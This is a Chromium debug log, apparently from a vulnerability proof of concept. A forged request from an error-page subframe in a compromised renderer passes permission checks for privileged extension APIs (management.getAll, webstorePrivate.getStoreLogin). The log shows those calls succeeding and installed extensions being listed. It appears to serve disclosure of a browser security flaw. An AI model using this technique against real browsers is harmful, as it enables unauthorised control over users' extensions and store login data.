[965:965:0526/172657.103721:ERROR:extensions/renderer/extension_frame_helper.cc:311] POC[renderer pid=965]: error-page subframe committed in attacker process; failed_url=https://chromewebstore.google.com/ — sending forged LocalFrameHost::Request(management.getAll, context=kWebPage, ext_id="") [862:862:0526/172657.104807:ERROR:extensions/browser/extension_function_dispatcher.cc:296] POC[browser]: LocalFrameHost::Request name='management.getAll' render_process_id=6 RFH.GetLastCommittedURL()=https://chromewebstore.google.com/ RFH.IsErrorDocument()=true RFH.GetLastCommittedOrigin()=null [internally: (9DE85E6F8AF45DF62C158FCEA7A826CF) anonymous] context_type=3 extension_id='' [862:862:0526/172657.104970:ERROR:extensions/browser/extension_function_dispatcher.cc:643] POC[browser]: *** HasPermission() PASSED for 'management.getAll' from ERROR-DOCUMENT subframe: source_url()=https://chromewebstore.google.com/ process=6 extension=(null) — function will execute in browser process *** [862:862:0526/172657.105400:ERROR:extensions/browser/extension_function_dispatcher.cc:296] POC[browser]: LocalFrameHost::Request name='webstorePrivate.getStoreLogin' render_process_id=6 RFH.GetLastCommittedURL()=https://chromewebstore.google.com/ RFH.IsErrorDocument()=true RFH.GetLastCommittedOrigin()=null [internally: (9DE85E6F8AF45DF62C158FCEA7A826CF) anonymous] context_type=3 extension_id='' [862:862:0526/172657.105465:ERROR:extensions/browser/extension_function_dispatcher.cc:643] POC[browser]: *** HasPermission() PASSED for 'webstorePrivate.getStoreLogin' from ERROR-DOCUMENT subframe: source_url()=https://chromewebstore.google.com/ process=6 extension=(null) — function will execute in browser process *** [965:965:0526/172657.118490:ERROR:extensions/renderer/extension_frame_helper.cc:338] POC[renderer pid=965]: management.getAll RESPONSE: success=1 error='' results=[[{"description":"Stand-in for a user-installed extension (e.g. an ad-blocker) that the attacker enumerates / disables via management.* from a different renderer process.","enabled":true,"homepageUrl":"","hostPermissions":[],"id":"feaafcfbajdkhdbbdbmabiigflgbobdg","installType":"development","isApp":false,"mayDisable":true,"name":"POC Victim Extension","offlineEnabled":false,"optionsUrl":"","permissions":[],"shortName":"POC Victim Extension","type":"extension","version":"1.0"}]] [965:965:0526/172657.118594:ERROR:extensions/renderer/extension_frame_helper.cc:365] POC[renderer pid=965]: webstorePrivate.getStoreLogin RESPONSE: success=1 error='' results=[""]